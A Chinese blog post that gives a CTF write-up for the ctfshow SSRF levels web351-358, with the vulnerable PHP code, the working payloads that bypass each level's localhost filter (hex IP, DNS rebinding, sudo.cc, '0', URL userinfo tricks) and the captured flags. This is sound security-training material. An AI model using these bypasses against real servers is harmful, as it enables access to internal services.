首页 > 其他分享 >【CTFWP】ctfshow-web351-358

【CTFWP】ctfshow-web351-358

时间:2024-08-08 12:59:39浏览次数:7  
标签:http url flag ctfshow CTFWP cURL payload 358

文章目录


前言

ctfshow的web入门的ssrf靶场

web351

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

题目解释:

这段PHP代码是一个简单的Web服务端脚本,它的功能是接收一个通过POST方法发送的URL参数,然后使用cURL库来获取该URL的内容,并将其返回给客户端。下面是对这段代码的逐行解释:

  1. $url=$_POST['url']; - 这行代码从POST请求中获取名为’url’的参数,并将其存储在变量$url中。
  2. $ch=curl_init($url); - 初始化cURL会话,并使用提供的URL作为参数。
  3. curl_setopt($ch, CURLOPT_HEADER, 0); - 设置cURL选项,指示cURL不返回HTTP头。
  4. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); - 设置cURL选项,使得cURL调用返回请求的内容作为字符串,而不是直接输出。
  5. $result=curl_exec($ch); - 执行cURL会话,并把结果存储在变量$result中。
  6. curl_close($ch); - 关闭cURL会话,释放资源。
  7. echo ($result); - 输出cURL请求的结果。

payload:

url=http://127.0.0.1/flag.php

flag:

ctfshow{4f57e385-fa1f-47f4-aa13-3906f0cd4200}

web352

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

题目解释:

这个多了正则匹配

需要对127.0.0.1进行编码

payload:

url=http://0x7F.0.0.1/flag.php

flag

ctfshow{6a4a513d-e836-4b2a-bbef-57cd0c05da25}

web353

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

题目解释:

更加严格的过滤

使用DNS重绑定进行绕过

rbndr.us dns rebinding service (cmpxchg8b.com)

payload:

url=http://2b81c857.7f000001.rbndr.us/flag.php

flag:

ctfshow{daa65ef7-2081-4311-9b2d-2cc98df658a0}

web354

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

还是过滤

貌似还是可以用重新绑定绕过

换个方法

在linux中sudo.cc相当于127.0.0.1

payload:

url=http://sudo.cc/flag.php

flag:

ctfshow{dba6c147-8c51-449e-9a74-b4a57c27554e}

web355

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

题目解释:

要求host长度要小于5

在Linux中,0代表127.0.0.1

也可以使用短网址生成器

payload:

url=http://0/flag.php

flag:

ctfshow{8a4709cc-7fcd-443f-afd7-e8c4307a5f32}

web356

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

题目解释:

host长度不超过3

还是用上一题的payload

payload

url=http://0/flag.php

flag:

ctfshow{9f6bc434-6fae-4b46-9803-33524fb872e8}

web357

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
    die('ip!');
}


echo file_get_contents($_POST['url']);
}
else{
    die('scheme');
}
?>

题目解释:

使用gethostbyname获取主机名对应的IP地址,并使用filter_var函数验证这个IP是否是一个有效的公网IP地址。如果IP地址无效或属于私有或保留的IP范围,脚本将终止执行。

还是用DNS重绑定绕过

rbndr.us dns rebinding service (cmpxchg8b.com)

payload:

url=http://7f000001.2b81c857.rbndr.us/flag.php

flag:

ctfshow{a0a408fd-2851-4343-a9bc-8e9cf3ea3893}

web358

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
    echo file_get_contents($url);
}

题目解释:

相对严格的正则匹配

必须以 http://ctf. 开头,以 show 结尾

将ctf视为username,在将show视为锚点

payload:

url=http://ctf.:[email protected]/flag.php#show

flag:

ctfshow{74ed9275-f3e9-48c2-abe1-6a1056d5a809}

闪烁的灯光是我在异世界大声地呼唤你。

标签:http,url,flag,ctfshow,CTFWP,cURL,payload,358
From: https://blog.csdn.net/LongL_GuYu/article/details/140925369

相关文章

  • RK3588—安装Linux系统以及环境配置
    neardiRK3588—安装Linux系统一、安装linux系统由于买的是neardi的LPB3588开发板,直接找它的官方手册:http://wiki.neardi.com/wiki/LPB3588/zh_CN/ 二、其他问题(1)无法读取U盘sudochmod777/media/<username>/(这里是sudochmod777/media/neardi/)(2)pip3安装s......
  • CTFSHOW 萌新 web9 解题思路和方法(利用system函数执行系统命令)
    点击题目链接,从题目页面显示的代码中可以看到我们可以使用命令执行漏洞查看网站的文件:我们首先使用system函数并使用ls命令查看当前目录下的所有文件:因为题目中提示flag在config.php文件中,所有可以直接读取该文件当然,如果题目中没有说明falg在那个文件中,我们可以使用......
  • CTFSHOW 萌新 web10 解题思路和方法(passthru执行命令)
    点击题目链接,分析页面代码。发现代码中过滤了system、exec函数,这意味着我们不能通过system(cmd命令)、exec(cmd命令)的方式运行命令。在命令执行中,常用的命令执行函数有:system(cmd_code);exec(cmd_code);shell_exec(cmd_code);passthru(cmd_code);可以发现,passthru未被过滤,......
  • Rockchip rk3588-Android tv-红外接收调试
    参考:https://wiki.friendlyelec.com/wiki/index.php/NanoPC-T6/zh#ADB.E7.9A.84.E4.BD.BF.E7.94.A8https://www.cnblogs.com/ningci/p/15256839.htmlhttps://wiki.t-firefly.com/zh_CN/Firefly-RK3288/driver_ir.html开发板:Nanopc-T6系统:Android12TV工具:Xshell7、开心电视......
  • YOLOv8n部署到RK3588开发板全流程(pt→onnx→rknn模型转换、板端后处理检测)
    YOLOv8n部署到RK3588开发板全流程文章目录前言一、模型训练二、配置用于pt模型转onnx模型的环境三、pt→onnx模型转换四、配置onnx转rknn模型的虚拟环境五、onnx转rknn模型六、RK3588板端部署前言小白博主,第一次写博客记录自己YOLOv8n部署RK3588开发板的全流程,记......
  • ctfshow-web入门-sql注入(web171-web175)
    目录1、web1712、web1723、web1734、web1745、web1751、web171单引号测一下,报错 --+闭合后回显正常 也可以用#,不过需要URL编码成功闭合之后,先判断下字段数:1'orderby3--+3的时候正常 4的时候报错,说明只有3列  测了一下,三个回显位都能正......
  • ctfshow-web入门-nodejs系列
    web334下载源码后缀改为zip打开即可先对源码经行一个简单的分析login.js//引入Express框架varexpress=require('express');//创建一个路由实例varrouter=express.Router();//引入用户数据,假设user模块导出的是一个包含用户项的对象varusers=require('../m......
  • CTFshow web入门vip 文件上传
    web151题目提示前端校验不可靠,看源码可以看到是传到upload.php这个文件去接受文件上传,文件类型为图片,后缀限制为png然后把前端验证修改一下,把文件后缀限制改成php写个一句话木马传进去1.php<?phpeval($_POST['x']);?>url中需要加入我们传入文件的目录/upload.php,并指定/......
  • ctfshow 每周大挑战 rce挑战1-5
    RCE挑战1RCE挑战2题目<?php//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。error_reporting(0);highlight_file(__FILE__);if(isset($_POST['ctf_show'])){$ctfshow=$_POST['ctf_show'];if(is_string($ctfshow)){if(!......
  • 温度补偿 MEMS 振荡器(TC-MO/VC TC-MO) - Super Low Jitter MO5155/MO5156/MO5157/MO535
    在当今科技高速发展的时代,电子设备对频率源的性能要求日益严苛。频率的稳定性、精度以及低抖动特性成为了决定设备性能的关键因素。温度补偿MEMS振荡器(TC-MO/VCTC-MO)以其出色的性能,正在逐渐成为电子领域的宠儿。本文将详细介绍SuperLowJitter系列的MO5155、MO5156、......